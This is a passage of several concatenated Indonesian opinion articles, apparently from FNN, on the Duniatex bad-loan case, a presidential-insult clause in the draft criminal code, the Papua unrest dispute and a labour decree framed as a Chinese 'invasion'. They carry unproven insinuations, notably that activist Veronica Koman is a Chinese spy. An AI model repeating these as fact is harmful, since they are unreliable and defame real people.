kredit. Di sisi lain, manajemen Eximbank menyatakan mulai terdampak oleh problem keuangan Duniatex. Eximbank memiliki portofolio kredit sebesar Rp3,04 triliun di Duniatex Group. Rinciannya, kredit kepada Delta Dunia Tekstil Rp1,2 triliun, Delta Merlin Sandang Tekstil Rp1,5 triliun, Delta Merlin Dunia Tekstil Rp54 miliar, dan Delta Dunia Sandang Tekstil Rp289 miliar. Adapun nilai jaminan kredit dari Duniatex yang berupa aset tetap mencapai 124%. Corporate Secretary Eximbank Emalia Tisnamisastra menyatakan gagal bayar kupon obligasi oleh anak usaha Duniatex akan membuat NPL semakin bengkak. “Rasio NPL kami yang semula 14,46% hingga 30 Juni 2019 dapat menjadi 14,52%,” kata dia dalam dokumen keterbukaan informasi di Bursa Efek Indonesia. 29 Bank Terlibat Saat ini ada 29 bank yang diketahui masih memiliki tanggungan di Grup Duniatex. Namun di sisi lain, sekurangnya ada lima bank yang justru selamat dari lingkaran kredit Duniatex.

Lima bank tersebut bisa lolos karena kredit di perusahaan tekstil tersebut sudah tidak tercatat lagi pada 2018 dan sudah menyatakan bahwa kreditnya sudah dilunasi debitur. Laporan keuangan konsolidasi Grup Duniatex 2018 menunjukkan catatan kredit tiga bank yaitu PT Bank Maybank Indonesia Tbk, PT Bank Permata Tbk, dan PT Bank Index Selindo sudah nol, dari periode sebelumnya yaitu tahun 2017. 
Kredit bank Duniatex dari Maybank pada 2017 tercatat Rp220 juta yang berbentuk pinjaman jangka pendek dan menjadi nol pada 2018. Meskipun Maybank tidak lagi tercatat memberikan pinjaman ke Grup Duniatex per akhir 2018, seorang bankir mengatakan kabar seretnya keuangan Grup Duniatex yang justru berasal dari Maybank Indonesia. Kredit dari PT Bank Index ke Duniatex tercatat Rp24 miliar pada 2017 dan hilang pada 2018, lalu kredit dari PT Bank Permata Tbk juga tidak ada lagi pada 2018 dibanding Rp120 miliar pada 2017. 

Hilangnya nilai kredit dari ketiga bank tersebut kemungkinan disebabkan pelunasan oleh Duniatex dan perusahaan di kelompok usaha tersebut. Satu bank lain yaitu PT Bank Pembangunan Daerah Banten, dalam keterbukaan informasi ke otoritas bursa saham, menyatakan pinjaman perseroan ke Duniatex sudah lunas. Direktur Utama BPD Banten Fahmi Bagus Mahesa mengatakan perseroan telah memberikan fasilitas kredit modal kerja kepada salah satu perusahaan Duniatex yaitu DMDT pada Mei 2017. Pinjaman itu memiliki plafon kredit Rp75 miliar untuk jangka waktu 1 tahun dan fasilitas itu diperpanjang hingga Mei 2019. "Selama jangka waktu tersebut DMDT memiliki track record [rekam jejak] yang baik dalam hal pembayaran kewajiban, atau tidak pernah terjadi tunggakan dalam pembayaran kewajiban dan telah dinyatakan lunas oleh perseroan," ujar Fahmi dalam suratnya kepada Bursa Efek Indonesia (BEI) pada 25 Juli 2019. Namun berbondong-bondongnya 29 bank memberi kredit total hingga Rp17 triliun benar-benar mencurigakan. Kok begitu mudah bank-bank itu mengucurkan kredit dalam jumlah besar dan beramai-ramai, seperti ada heart instinct yang sedang mengerumuni gula-gula. Kabar yang berkembang di kalangan bankir, ada sesuatu dibalik ramai-ramainya bank menggelontorkan kredit hingga Rp17 triliun ke Duniatex Group. Ada yang mengatakan ada unsur kick back (pemberian ucapan terima kasih), ada juga potensi unsur kolusi, dan yang paling ekstrim menuding disengaja untuk dimacetkan. Toh sejarah perbankan di Indonesia dibobol sudah banyak dan penyelesaiannya selalu landai-landai saja. Sehingga debitur yang punya itikad tidak baik adalah ladang bisnis tersendiri lewat upaya pembobolan bank. Tentu saja pendapat ini sulit dikonfirmasi dan sulit dibuktikan, tapi selalu saja ada bank bermasalah dengan penyelesaian yang absurd. Ditambah pula pengawasan perbankan yang longgar membuat fraud di industri perbankan bak cendawan di musim dingin. Melihat begitu mudahnya Hartono mendapatkan kredit Rp17 triliun, plus penerbitan obligasi valas US$300 juta (Rp4,26 triliun), bisa saja ada kolusi debitor dengan appraisal, auditor. Sehingga seperti debitor sakti, Hartono begitu mudah mendapatkan dana dari pasar. Pertanyaannya, apakah bank-bank itu memberikan over finance, pemberian kredit yang berlebihan, sehingga 29 bank berbondong-bondong menggelontorkan kredit Rp17 triliun. Mengapa terhadap satu Duniatex, 29 bank begitu getol menggelontorkan kredit, sementara ada debitor lain mengalami kesulitan dan mengalami penolakan dari perbankan? Kalau pada akhirnya sepak terjang Duniatex ini melahirkan kredit macet, tentu saja akan ada dampak sistemik terhadap bank-bank lainnya, mengingat bank-bank yang terlibat adalah bank-bank besar. Bahkan tak menutup kemungkinan akan terjadi tsunami kredit macet industri perbankan. Bayangkan, satu PT Bank Century Tbk dengan bailout sebesar Rp6,7 triliun saja sudah menggemparkan industri perbankan. Apatah lagi 29 bank yang menggelontorkan kredit Rp17 triliun dan berpotensi macet itu menjadi benar-benar macet. Betapa gaduhnya ruang publik nantinya. Itu sebabnya perbankan mulai mencermati adanya potensi peningkatan rasio kredit macet alias (non performing loan--NPL) di semester II 2019. Apalagi setelah kasus gagal bayar utang Duniatex mencuat. Kepala Eksekutif Pengawas Perbankan Otoritas Jasa Keuangan (OJK) Heru Kristiyana mengatakan pihaknya terus mengamati hal tersebut. Namun, sejauh ini OJK menilai iklim industri Tanah Air masih positif. Menurut OJK, setiap bank memiliki cara tersendiri untuk memitigasi risiko termasuk pemupukan pencadangan dan restrukturisasi. Potensi side streaming Biasanya kredit macet satu debitor dipicu oleh penggunaan dana yang tidak sesuai dengan core business-nya (side streaming). Boleh jadi back up kredit Duniatex Group sebesar Rp17 triliun ke 29 bank adalah untuk pengembangan tekstil dan produk tekstil miliknya, tapi dalam praktiknya digunakan untuk kegiatan bisnis lain yang tak ada hubungan dengan bisnis tekstil. Dugaan itu mencuat di kalangan beberapa bankir yang tak mau disebutkan namanya. Lepas dari apakah ini benar atau tidak, namun jika ditelaah secara detil ada fakta-fakta bisnis lain yang digarap Duniatex. Berdasarkan catatan, pada 2011 Duniatex mulai melebarkan sayap bisnis ke sektor properti dan perhotelan dengan mendirikan PT Delta Merlin Dunia Propertindo (DMDP). Menurut salah satu bankir senior, Duniatex masuk ke sektor properti bermodalkan aset-aset yang dibeli antara lain dari Badan Penyehatan Perbankan Nasional (BPPN). Aset-aset tersebut milik bank yang direkapitulasi oleh BPPN. Duniatex banyak membeli aset-aset bank yang dilelang oleh BPPN. Nah, sekarang bakal diambil alih oleh bank lagi, kalau sampai gagal bayar. Adapun, aset properti dan perhotelan yang dimiliki oleh Duniatex adalah Bestwestern Solo Baru, Noorman Hotel Semarang, Favehotel Solo, The Alana Hotel Solo, Hartono Trade Center, Hartono Mal di Solo dan Yoyakarta, Hotel Marriot Yogyakarta, De Salvatore Art & Boutique Yogyakarta, De Rivier Hotel Jakarta Barat, dan Wisma Hartono Yogyakarta. Selain itu, Duniatex Ggroup juga masuk ke bisnis rumah sakit, yakni RS Indriati. Rumah sakit ini menggunakan nama istri Hartono, Indriati. Menurut bankir tersebut, keluarga Hartono juga memiliki lini bisnis di bank perkreditan rakyat (BPR) dan perusahaan pembiayaan (finance). Boleh jadi sebagian dana kredit untuk pertekstilan digunakan untuk menguasai non core business Duniatex Group. Atau setidaknya dana itu digunakan untuk biaya pemeliharaan, biaya renovasi ataupun biaya lain yang dikeluarkan untuk kepentingan non core business. Duniatex Group ke depan akan menjadi berita utama yang dapat memicu kredit macet perbankan di sektor pertekstilan. Namun multiplier effectnya bisa saja meluas dan pada akhirnya menjadi cerita buruk ke depan. Kecuali masing-masing bank kreditor mengambil langkah-langkah antisipasi yang cepat sehingga kredit Duniatex Group tidak menjelma menjadi kredit macet. Disamping itu OJK juga bisa mencegah kolektibilitas kredit Duniatex Group naik dari kolektibilitas 1, 2, 3, bahkan menjadi 4 dan 5 (macet total). Semua berpulang pada otoritas, pengawas, pelaku dan kalangan dunia usaha menyikapinya. Semoga saja tsunami kredit macet itu tak terjadi. End.

Awas! Dilarang Keras Menghina Presiden Jokowi!

Oleh : Hersubeno Arief Jakarta, FNN - Di kalangan para pegiat demokrasi dunia, ada satu guyon (joke) yang sangat terkenal. Soal Presiden Amerika Serikat (AS) Donald Trump dan Presiden Rusia Vladimir Putin. Seorang warga AS ketika bertemu dengan koleganya dari Rusia, dengan bangga, pamer. Betapa bebasnya demokrasi di negaranya. Mereka sangat bebas menyatakan dan mengekspresikan pendapatnya. Bahkan bebas menghina Presiden Donald Trump, di depan Gedung Putih pula. “Coba kalau di Rusia. Pasti hal itu gak mungkin terjadi,” ujarnya membanggakan diri. Dengan santainya si orang Rusia menjawab. “Ah kami jauh lebih bebas! Siapa saja di Rusia bebas menghina Donald Trump sampai puas. Silakan lakukan dimana saja. Kapan saja! Termasuk depan kantor Putin, Kremlin. Setiap hari, setiap saat. Dijamin Anda gak akan ditangkap,” ujarnya sambil tertawa puas. Begitulah perbedaan negara demokrasi seperti AS, dan negara pseudo demokrasi model Rusia. Sebuah negara seakan-akan demokrasi. Di AS orang bebas menertawakan dan menghina Trump tanpa takut dikenakan pasal pidana, atau ditangkap polisi. Tak lama setelah Trump terpilih, di sejumlah kota, warga memajang boneka Trump dalam ukuran besar di tempat umum. Warga yang lewat bebas memukul dan menendang “Trump.” Komedian Roseann O’Donnell, akrab disapa Rosie bahkan sangat sering menjadikan Trump sebagai olok-olok dalam program TV. Salah satunya dalam program pagi TV ABC, The View. Selain Rosie, sederet pesohor juga terlibat perseteruan dengan Trump. Anna Wintour, Michael Moore, Steph Curry, Chrissy Teigen, Snoop Dogg, Mark Cuban, Meryl Streep, dan penyanyi kondang Madonna, termasuk dalam deretan selebriti yang sering menyerang Trump. Mereka aman-aman saja. Tidak ditangkap oleh polisi, apalagi dibawa ke pengadilan. Dikenakan pasal penghinaan terhadap Presiden. Paling banter reaksi Trump menyerang balik mereka, dengan kata-kata yang tak kalah kasarnya. Khas Trump. "Rosie kurang ajar, kasar, menjengkelkan dan bodoh - selain hal-hal itu, aku sangat menyukainya!" tulisnya melalui akun @realDonaldTrump. Nasib para pengecam Trump, sangat berbeda dengan para penentang Putin di Rusia. Banyak yang berakhir dengan tragis. Sakit berat, bahkan tewas karena beberapa sebab. Diracun, dibunuh, atau tewas dalam kecelakaan. Agak sulit menemukan bukti bahwa kematian mereka ada kaitannya dengan Putin. Tapi sulit juga mengabaikan fakta, bahwa sebelum tewas, mereka berseteru dengan Putin. Pada bulan Februari tahun 2017, penulis Vladimir Kara-Murza tiba-tiba sakit ketika akan menjenguk anaknya di AS. Dia koma selama sepekan. Menurut istrinya dia diracun. Pada tahun 2009, seorang pengacara bernama Stanislav Markelov tewas ditembak. Orang bertopeng memberondongnya di dekat Kremlin, tak lama setelah dia menulis artikel mengkritik Putin. Dalam peristiwa itu wartawati Anastasia Baburova ikut tewas ditembak. Dia sedang berjalan bersama Markelov, dan mencoba menolongnya. Markelov adalah pengacara sejumlah penulis oposisi penentang pemerintah. Salah satu kliennya wartawati Anna Politkovskaya. Penentang Putin yang sangat gigih dan berani. Politkovkaya tewas ditembak pembunuh bayaran (2006). Dia sedang di lift gedung apartemen tempat tinggalnya. (Bisa membahayakan wartawan) Bagaimana dengan Indonesia? Mulai sekarang Anda kudu berhati-hati. Apakah Anda seorang aktivis medsos, atau sekalipun Anda seorang wartawan. Jangan sampai sekali-kali membuat ujaran, cuitan, atau artikel yang menghina, atau setidaknya digolongkan menghina Presiden Jokowi. Anda bisa dijerat hukum. Dikriminalisasi. DPR baru saja merampungkan Rancangan Kitab Undang-Undang Hukum Pidana (RUKUHP) berisi pasal-pasal ancaman terhadap para penghina presiden. Rancangan Undang-Undang (RUU) itu rencananya akan disahkan akhir bulan ini. Sejumlah organisasi wartawan, termasuk Komnas HAM mengecam rumusan pasal RUU itu. Dalam penilaian Komnas HAM, menghina Presiden tidak bisa dipidanakan. Salah satu pasal kontroversial dalam RUU tersebut adalah Pasal 218 ayat 1 : Setiap orang yang di muka umum menyerang kehormatan atau harkat dan martabat diri Presiden atau Wakil Presiden dipidana dengan pidana penjara paling lama tiga tahun enam bulan atau pidana denda paling banyak kategori IV. Pasal ini mengingatkan kita pada pasal-pasal karet. Banyak digunakan menjerat lawan politik pemerintah pada masa Orde Baru. Pasal yang diadopsi dari hukum pidana masa kolonial Belanda itu bertentangan dengan Hak Asasi Manusia. Terutama kebebasan berekspresi dan menyatakan pendapat. Tanpa adanya pasal penghinaan itu saja, selama ini banyak wartawan yang menjadi korban kriminalisasi. Menurut catatan Aliansi Jurnalis Independen (AJI), dalam lima tahun terakhir, setidaknya ada 16 kasus kriminalisasi terhadap jurnalis. Umumnya jurnalis ini dituduh menyebar fitnah dan pencemaran nama baik, menggunakan UU Informasi dan Transaksi Elektronik (ITE). Kebebasan pers di Indonesia, berdasar catatan Reporters Without Borders for Freedom of Information (RSF) sangat buruk. Selama tiga tahun berturut-turut menempati peringkat 124 dari 180 negara. Kalau benar DPR tetap memaksakan untuk mengesahkan RUKHP, maka demokrasi Indonesia memasuki masa-masa kegelapan. Sebagai sebuah negara demokrasi, kritik terhadap pemerintah adalah hal yang lumrah. Malah harus dilakukan. Sebagai bagian dari proses kontrol. Obat pahit yang menyehatkan. Membuat demokrasi tumbuh subur dan kuat. Fungsi media sebagai pilar keempat, adalah anjing penjaga (watchdog) demokrasi. Sementara bagi warga negara, kebebasan berpendapat, termasuk kritik kepada pemerintah dan presiden, dijamin oleh konstitusi. Pak Jokowi tampaknya perlu belajar lebih rileks mengahadapi kritik kepada para pendahulunya. Presiden BJ Habibie, Megawati, termasuk Susilo Bambang Yudhoyono (SBY). Pada masa Presiden SBY, ada demonstran yang membawa kerbau dan ditulisi nama Sibuya. Plesetan dari singkatan nama SBY. SBY paling banter cuma uring-uringan. Curhat ke media. Tidak sampai menggunakan aparat kepolisian untuk menjerat mereka dengan pasal-pasal pidana penghinaan. Ketika kasusnya sudah menjurus ke fitnah secara pribadi, SBY menempuh jalur hukum. Dia mengadukan kasusnya ke polisi. Datang sendiri ke kantor polisi. Tidak menyuruh pengacaranya. Apalagi pendukungnya. Pada kasus penghinaan yang dilakukan oleh politisi Zainal Ma’arif dan pengacara Eggy Sudjana, SBY sebagai pribadi melapor ke polisi. Kasus Zainal berakhir karena yang bersangkutan minta maaf. Sementara Eggy divonis bersalah. Dia dijatuhi hukuman 3 bulan dengan masa percobaan 6 bulan. Eggy menyebut SBY, anaknya dan sejumlah pejabat tinggi negara memperoleh gratifikasi mobil Jaguar dari penguasaha Hary Tanoesoedibyo. Menjadi presiden di sebuah negara demokrasi, modalnya memang harus punya kuping tebal. Jangan gampang tersinggung, baperan. Marah dan menggunakan kekuasaan karena kritik. Beda kalau menjadi raja yang punya kekuasaan mutlak, absolut. Tidak perlu lah kita meniru Thailand. Kerajaan dengan sistem parlementer, tapi rajanya disembah seperti dewa! Di negeri Gajah Putih itu menghina Raja bisa dihukum seumur-umur. Ada yang dihukum sampai 150 tahun, karena dinilai menghina raja melalui akun facebooknya. Tirulah Thailand dalam keberhasilan meningkatkan ekspor produksi pangan dan buah-buahannya. Bukan sistem hukum yang T-E-R-L-A-L-U melindungi penguasanya. Toh di Indonesia sistem politiknya presidensiil. Bukan kerajaan. Kecuali kalau memang ada merasa seolah-olah raja!? Hal itu hanya akan terjadi di negara pseudo demokrasi. Seakan-akan demokrasi. Demokrasi seakan-akan. End

Benny Wenda Skak Mat Wiranto

Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Tudingan Menko Polhukam Wiranto yang menyebut kerusuhan di Papua dan Papua Barat tak lepas dari aksi provokasi yang dilakukan Ketua Persatuan Gerakan Pembebasan untuk Papua Barat (ULMWP) Benny Wenda membuka kotak pandora. Benny Wenda justru menuding balik Wiranto yang telah berupaya memicu konflik horizontal dengan warga Papua. Ia tak terima dituding Wiranto sebagai dalang di balik kerusuhan Papua dan Papua Barat. “Wiranto gunakan saya,” ungkap Benny Wenda. “Wiranto adalah penjahat perang yang dicari oleh PBB karena kejahatan perang. Adalah Wiranto yang membentuk 'Pasukan Penjaga Merah & Putih' dan mencoba memicu konflik horizontal antara warga Papua dan warga Indonesia,” tegasnya. Penegasan Benny Wenda itu dikirim melalui surat elektronik kepada CNNIndonesia.compada Selasa (3/9/2019). Oleh Wiranto, Benny Wenda juga disebut aktif menyebar hoaxalias informasi palsu soal Papua ke luar negeri. "Benny Wenda sejak dulu aktivitasnya sangat tinggi, memberikan informasi palsu. Mereka provokasi. Seakan kita menelantarkan di sana, seakan melakukan pelanggaran HAM tiap hari," kata Wiranto dalam keterangan kepada wartawan, Senin (2/9/2019). Menurut Benny Wenda, warga Papua tidak pernah memiliki masalah dengan 'penduduk Indonesia'. “Kami hidup damai berdampingan. Tapi, orang seperti Wiranto berusaha menggerakkan kekerasan demi kepentingan mereka sendiri,” katanya. Demonstrasi yang terjadi di Papua selama beberapa pekan terakhir ini terjadi secara spontan akibat ketidakadilan yang dirasakan warga di sana selama ini. “Pemerintah Indonesia hanya berupaya mengalihkan perhatian dari kenyataan dengan menyalahkan saya,” tuturnya. Benny Wenda sebelumnya juga telah menegaskan masyarakat Papua tak pernah menganggap orang Indonesia sebagai musuh. Ia yang kini tinggal di Inggris menegaskan, rakyat Papua tak akan terpancing dengan provokasi yang dibuat pemerintah Indonesia. Tak hanya Wiranto, Kepala Staf Kepresidenan (KSP) Moeldoko juga menudingnya sebagai dalang kerusuhan di Papua, termasuk melakukan mobilisasi diplomatik ke sejumlah negara. Menurut Pemerintah, Benny Wenda adalah tokoh separatis dan pendukung penggunaan kekerasan dalam mencapai tujuan politiknya untuk memisahkan Papua Barat dari Indonesia. Benny Wenda ditangkap dan ditahan di Jayapura pada 6 Juni 2002 atas tuduhan mengajak massa menyerang sebuah kantor polisi dan membakar dua toko di Abepura pada 7 Desember 2000. Ia dihadapkan ke pengadilan pada 24 September 2002. Tidak lama kemudian Benny Wenda kabur dari penjara dan melarikan diri ke Inggris. Benny Wenda memperoleh suaka dari pemerintah Inggris pada 2002. Sejak itu Benny Wenda terus berkampanye untuk memisahkan Papua Barat dari kantornya di Oxford. Benny Wenda pernah menyerahkan petisi yang sudah ditandatangani 1,8 juta orang untuk menuntut referendum kemerdekaan Papua Barat kepada Ketua Dewan HAM Perserikatan Bangsa-Bangsa (PBB) Michelle Bachelet pada akhir Januari 2019. Ketika itu Benny Wenda ikut dalam rombongan delegasi Vanuatu. Apa yang dilakukan oleh Benny Wenda itu, menurut Wiranto, hanya bisa dilawan dengan informasi yang aktual dan benar. Ia menegaskan dirinya berusaha meyakinkan negara lain bahwa Indonesia serius membangun Papua dan Papua Barat. “Mana mungkin menelantarkan. Tidak mungkin,” tegasnya. “Benar bahwa Benny Wenda bagian dari konspirasi dari masalah ini. Kita lawan dengan kebenaran dan fakta. Biasanya info menyesatkan dibantah dengan fakta,” ujar Wiranto lagi. Benny Wenda sendiri sudah bersuara atas gejolak di Papua dan Papua Barat. Ia menyatakan, tindakan rasial terhadap mahasiswa Papua di Surabaya menjadi pemantik kemarahan dan menyulut api ketidakadilan yang dialami rakyat Papua selama lebih dari 50 tahun. Menurutnya, saat ini adalah waktu yang tepat untuk merdeka. “Kami sangat membutuhkan dunia untuk waspada dan untuk mendukung kami dan perjuangan kami untuk menentukan nasib sendiri dan perdamaian,” kata Benny dalam akun Facebook-nya, Selasa (27/8/2019). Dalang Asing? “Benar kan... jendral merah menciptakan kubangannya sendiri... satu jari tunjuk ke orang, 4 jari nunjuk diri sendiri,” ujar seorang wartawan senior. Susilo Bambang Yudhoyono, Luhut Binsar Panjaitan, dan AM Hendropriyono dilabeli sebagai “jendral merah”. Wiranto dan Moeldoko baru belakangan ini dimasukkan sebagai “operator lapangan” dari “jendral merah” yang berkolaborasi dengan Surya Paloh, CSIS, dan China. Mereka selama ini “memusuhi” umat Islam dan “jendral hijau”, seperti Prabowo Subianto. Dengan adanya pernyataan Benny Wenda yang menanggapi tudingan Wiranto itu menjadi jelas. Siapa dalang Rusuh Papua sebenarnya. Jika Wiranto menuding Benny Wenda, justru sama saja dengan menuding dirinya sendiri sebagai “dalang” Benny Wenda. Karena, seperti pengakuan Benny Wenda, “Wiranto gunakan saya”. Sehingga, sebenarnya tidak sulit untuk mencari Mbahe Dalang dan pemilik gawe wayangan itu. Apalagi, Polda Jatim kini juga menetapkan Veronica Koman sebagai tersangka provokator. Veronica Koman Liau sebagai tersangka provokasi di Asrama Mahasiswa Papua, Surabaya, Jawa Timur. Veronica diduga aktif melakukan provokasi melalui akun Twitter @VeronicaKoman. “Hasil gelar memutuskan dari bukti-bukti dan hasil pemeriksaan saksi ada enam, tiga saksi dan tiga ahli, akhirnya ditetapkan sebagai tersangka atas nama VK, Veronica Koman,” kata Kapolda Jatim Irjen Polisi Luki Hermawan, di Mapolda Jatim, Rabu (4/9/2019). Irjen Luki menyebut Veronica ditetapkan sebagai tersangka karena terlibat aktif menyebarkan informasi hoax dan provokasi di medsos lewat akun Twitter pribadinya, terkait peristiwa di AMP. Informasi itu dinilai sebagai upaya provokasi untuk memanaskan situasi. “VK ini adalah orang yang sangat aktif, salah satu yang sangat aktif yang membuat provokasi di dalam mau pun di luar negeri untuk menyebarkan hoaks dan juga provokasi,” ungkap Irjen Luki kepada wartawan. Cuitan Veronica di Twitter yang dinilai polisi sebagai provokasi, yakni soal penangkapan dan penembakan mahasiswa Papua di Surabaya. “Ada lagi tulisan momen polisi mulai tembak ke dalam, ke Asrama Papua, total 23 tembakan termasuk gas air mata, anak-anak tidak makan selama 24 jam haus dan terkurung, disuruh keluar ke lautan massa,” kata Irjen Luki. “Kemudian ada lagi 43 mahasiswa papua ditangkap tapa alasan yang jelas 5 terluka, 1 kena tembakan gas air mata, dan semua kalimat-kalimat selalu diinikan (terjemahkan) dengan bahasa Inggris,” lanjutnya, seperti dilansir CNNIndonesia.com. Nama Veronica Koman Liau muncul terkait aktivitas mahasiswa Papua di Surabaya, Minggu (2/12/2018). Vero menjadi Kuasa Hukum Aliansi Mahasiswa Papua (AMP) saat memperingati HUT Kemerdekaan Papua Barat pada 1 Desember 2018. Sebelumnya, nama alumni Universitas Pelita Harapan (UPH) Jakarta itu sempat menyentak ketika wanita kelahiran 14 Juni 1988 itu sempat “diburu” Mendagri Tjahjo Kumolo lantaran orasi kerasnya saat berdemo menuntut pembebasan Basuki Tjahaja Purnama di depan Rutan Cipinang, Selasa (9/5/2018) lalu dianggap kebablasan. Orasi yang disoal Mendagri dari Vero adalah saat menyebut, rezim Presiden Joko Widodo lebih parah dari rezim Susilo Bambang Yudhoyono (SBY). Video orasi Vero pun mendadak viral di medsos hingga akhirnya membuat panas telinga pemerintah. Saking geramnya, Tjahjo sampai mengeluarkan beberapa pernyataan keras kepada Veronica. “Saya segera akan kirim surat kepada dia. Dalam waktu satu minggu harus mengklarifikasi apa maksud pernyataan terbukanya,” katanya, Kamis (11/5/2018). Nah, jika dalam waktu satu minggu Veronica tak menyampaikan klarifikasi dan permintaan maaf, Tjahjo mengan­cam akan memperkarakannya. “Saya sebagai pembantu Presiden dan Mendagri akan melaporkan ke polisi,” tegasnya. Siapa sejatinya Vero? Berdasarkan informasi yang dihimpun, Vero merupakan perempuan kelahiran Medan. Dia meraih gelar sarjana hukum dari kampus UPH di Jakarta. Vero aktif dalam dunia aktivis yang yang kerap berhubungan dengan isu-isu Papua. Sesumbar Tjahjo ternyata tidak mempan juga. Buktinya, hingga kini Vero masih bisa bebas memprovokasi warga Papua dan dunia internasional dengan berita hoax-nya.Keberadaannya sepertinya “terlindungi” sehingga tidak mudah disentuh hukum Indonesia. Kabar pun berembus. Vero adalah seorang intelijen China yang memang ditugaskan di Indonesia. Mengutip Irene @IreneVienna (22:21 31 Agt 19): Veronica Koman Liaw, Intel RRC nyamar jadi aktivis RICINDONESIA LSM mengurus masalah pengungsi. Jadi, jika Vero masih bisa bebas dari jerat hukum, tentu dan pasti dia “dilindungi” oleh suatu “kekuatan” yang punya akses ke oknum pejabat berwenang di Indonesia. ***

Jokowi Siapkan ‘Soft-Landing’ untuk Invasi China

Indonesia bakal menjadi ‘production and marketing colony’. Menjadi koloni produksi dan pemasaran. Sekaligus berfungsi sebagai pangkalan utama One Belt One Road (OBOR). Inilah impian terbesar RRC. Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Di tengan hiruk-pikuk Papua dan pemindahan ibu kota, Presiden Jokowi merampungkan persiapan akhir ‘soft landing’ (pendaratan empuk) untuk invasi ekonomi dan bisnis RRC (China) ke Indonesia. Persiapan final itu tidak diketahui orang. Dilakukan dengan cara yang sangat rapi. Diam-diam, ‘low profile’. Tidak banyak ribut-ribut. Tetapi pasti. Sangat low-profile. Hanya dengan sebuah keputusan menteri (Kepmen). Tepatnya, Menteri Ketenagakerjaan. Diterbitkan pada 27 Agustus 2019. Kepmen Naker nomor 228 tahun 2019. Kepmen ini membuka lebar-lebar pintu untuk invasi ‘full force’ (habis-habisan) dari RRC. Selama ini China sudah merintis invasi itu. Mereka suskes. Disambut oleh para oportunis lokal. Didorong dan disokong oleh konglomerat diasfora yang kini telah menjadi oligarkhi penguasa negeri. Kepmen Naker ini membolehkan hampir semua jenis pekerjaan untuk orang asing. Dan, sangat bisa terbaca dengan mudah bahwa orang asing itu adalah warga China. Sebab, hampir pasti orang dari negara-negara lain tidak akan tertarik dengan ratusan posisi yang dibolehkan itu. Mudah juga terbaca bahwa Kepmen Naker terbaru ini dimaksudkan untuk memuluskan impor tenaga kerja China. Ada 2,197 (dua ribu seratus sembilan puluh tujuh) jenis pekerjaan yang boleh diduduki orang asing. Saking banyaknya, diperlukan 138 halaman untuk merinci sebutan atau nama jabatan yang disiapkan untuk orang asing itu. Bagi saya, tidak salah kalau ada yang berpendapat bahwa Kepmen ini adalah pesanan RRC. Entah terkait, entah tidak, beberapa hari setelah penerbitan Kepmen itu, ada rombongan pengusaha RRC menjumpai Menko Segala Urusan. Isyarat ‘positif’, bukan? Begitu nanti China ‘tekan gas’ investasi di berbagai bidang usaha, maka mereka bisa langsung membawa warga mereka sendiri untuk memegang ribuan posisi itu. Indonesia bakal menjadi ‘production and marketing colony’. Menjadi koloni produksi dan pemasaran. Sekaligus berfungsi sebagai pangkalan utama One Belt One Road (OBOR). Inilah impian terbesar RRC. Tidak tanggung-tanggung. Sebagai contoh, di dalam Kepmen Nakertrans nomor 247 tahun 2011 (era SBY), hanya ada 66 posisi yang boleh diduduki oleh orang asing untuk kategori bidang konsturksi. Di dalam Kepmen Naker 228 tahun 2019, jumlah itu bertambah 200%. Mulai sekarang, ada 181 jenis pekerjaan (posisi) dalam kategori bidang konstruksi yang boleh dipegang orang asing. Dari jabatan tertinggi, menengah, sampai ke bawah. Dan sangat tak mungkin semua ini untuk orang asing non-China. Adakah kaitan Kepmen ini dengan keinginan China untuk membangun ibu kota baru? Siapa yang berani jawab “tidak”? Liberalisasi lapangan kerja ini sudah dimulai sejak era Presiden SBY. Presiden Jokowi melakukan intensifikasinya. Sekarang sudah tuntas. Jokowi membuat Indonesia ‘done’ untuk China. Ada 18 kategori usaha yang diliberalisasikan oleh Presiden Jokowi. Yaitu: 1)Konstruksi, 2)Real Estate, 3)Pendidikan, 4)Industri Pengolahan, 5)Pengolahan Air, Pengolahan Air Limbah, Pengolahan dan Daur Ulang Sampah, 6)Pengangkutan dan Pergudangan, 7)Kesenian, Hiburan dan Rekreasi, 8)Penyediaan Akomodasi dan Penyediaan Makan-Minum. 9)Pertanian, Kehutanan dan Perikanan, 10)Aktivitas Penyewaan dan Sewa Guna Usaha, Ketenagakerjaan, Agen Perjalanan dan Penunjang Usaha lainnya, 11)Aktivitas Keuangan dan Asuransi, 12)Aktivitas Kesehatan Manusia dan Aktivitas Sosial, 13)Informasi dan Telekomunikasi, 14)Pertambangan dan Penggalian, 15)Pengadaan Listrik, Gas, Uap/Air Panas, dan Udara Dingin, 16)Perdagangan Besar dan Eceran, Reparasi serta Perawatan Mobil dan Sepedamotor, 17)Aktivitas Jasa lainnya, 18)Aktivitas Profesional, Ilmiah, dan Teknik. Kepmen 228/2019 ini tak ubahnya seperti pukat harimau di laut. Pukat harimau menjaring habis semua ikan, segala ukuran. Yang besar diangkat, yang kecil pun disikat. Kepmen ini membuat orang asing (terutama warga RRC) bisa menempati posisi tinggi seperti direktur utama, manajer senior, manajer rendah hingga pengaspal jalan. Tukang pasang pipa, boleh masuk. Ahli beton, tidak masalah. Di kategori Kesenian, Hiburan dan Rekreasi, orang asing boleh menjadi sutradara film. Bahkan boleh menjadi pemandu karaoke. Penyanyi boleh masuk, pemetik alat musik juga boleh. Siapakah orang asing yang mau pekerjaan ini? Orang Amerika, Eropa, Jepang? Mana mau mereka! Luar biasa! Pekerjaan ‘light director’ (pengarah lampu) saja pun dibolehkan untuk orang asing. Pekerjaan ‘disc-jokey’ (DJ) juga dibolehkan. Yang paling serius untuk diperhatikan adalah ribuan posisi di empat kategori, yaitu Pertambangan dan Penggalian, Informasi dan Telekomunikasi, Industri Pengolahan, dan Konstruksi. Liberalisasi di empat kategori ini memberikan sinyal bahwa China akan masuk secara masif untuk menguasai bisnis dari A sampai Z. Di sektor Pertambangan dan Penggalian, ada 600 posisi tinggi, menengah dan rendah yang akan diberikan kepada orang asing. Untuk bisnis ini, perusahaan asing boleh membawa sendiri ahli geologi, seismologi, drilling, sampai tukang pipa. Singkatnya, semua posisi usaha pertambangan bisa mereka bawa. Pembebasan di sektor ini tampak “sangat RRC” sekali. China memerlukan migas dan batubara dalam jumlah besar. Catatan: 600 posisi itu bukan berarti 600 orang. Itu maksudnya 600 posisi di satu unit usaha. Nah, berapa banyak perusahaan China yang akan masuk? Bisa ratusan bahkan ribuan. Bukan di pertambangan saja. Di sektor-sektor lain malah lebih dahsyat lagi. Terutama industri manufaktur (Industri Pengolahan). Di industri pengolahan ini ada 23 subsektor. Jenis pekerjaannya ada 700-an. 